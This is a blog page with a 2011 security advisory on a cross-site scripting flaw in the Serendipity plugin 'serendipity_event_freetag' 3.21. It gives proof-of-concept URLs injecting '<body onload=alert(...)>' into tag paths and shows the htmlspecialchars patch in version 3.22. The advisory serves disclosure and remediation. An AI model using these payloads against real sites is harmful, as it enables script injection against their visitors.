Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170
Skip to content

SSCHADV2011-004 - Cross-Site Scripting vulnerability in Serendipity Plugin "serendipity_event_freetag"

Advisory: XSS vulnerability in Serendipity Plugin "serendipity_event_freetag"
Advisory ID: SSCHADV2011-004
Author: Stefan Schurtz
Affected Software: Successfully tested on: serendipity_event_freetag – version 3.21
Vendor URL: http://www.s9y.org
Vendor Status:
Version 3.22 – Fix possible XSS
CVE-ID: -
 
======================
Vulnerability Description:
======================

This is a Cross-Site Scripting vulnerability

==============
Technical Details:
==============
 
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=><body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/hallo=>
<body onload=alert(String.fromCharCode(88,83,83))>
 
http://www.example.com/serendipity/index.php?/plugin/tag/
<body onload=alert(666)>
http://www.example.com/serendipity/index.php?/plugin/tag/
<body onload=alert(String.fromCharCode(88,83,83))>
 
=====
Solution:
=====

Update to the latest version 3.22
 
diff serendipity_event_freetag.php

< <?php #$Id: serendipity_event_freetag.php,v 1.148 2011/05/09 08:19:30 garvinhicking Exp $
> <?php #$Id: serendipity_event_freetag.php,v 1.149 2011/05/30 20:25:24 garvinhicking Exp $
 
< $propbag->add(‘version’,       ‘3.21’);
> $propbag->add(‘version’,       ‘3.22’);
 
< $serendipity[‘smarty’]->assign(‘freetag_tagTitle’, is_array($this->displayTag) ? implode(’ + ‘,$this->displayTag) : $this->displayTag);
> $serendipity[‘smarty’]->assign(‘freetag_tagTitle’, htmlspecialchars(is_array($this->displayTag) ? implode(’ + ‘,$this->displayTag) : $this->displayTag));

================
Disclosure Timeline:
================

30-May-2011 – informed developers
30-May-2011 – Release date of this security advisory
30-May-2011 –
Version 3.22 – Fix possible XSS

====
Credits:
====

Vulnerability found and advisory written by Stefan Schurtz.

=======
References:
=======

http://www.s9y.org

 

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

Add Comment


To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA 1CAPTCHA 2CAPTCHA 3CAPTCHA 4CAPTCHA 5


Textile-formatting allowed
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
Imprint | Contact | Privacy Statement

Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170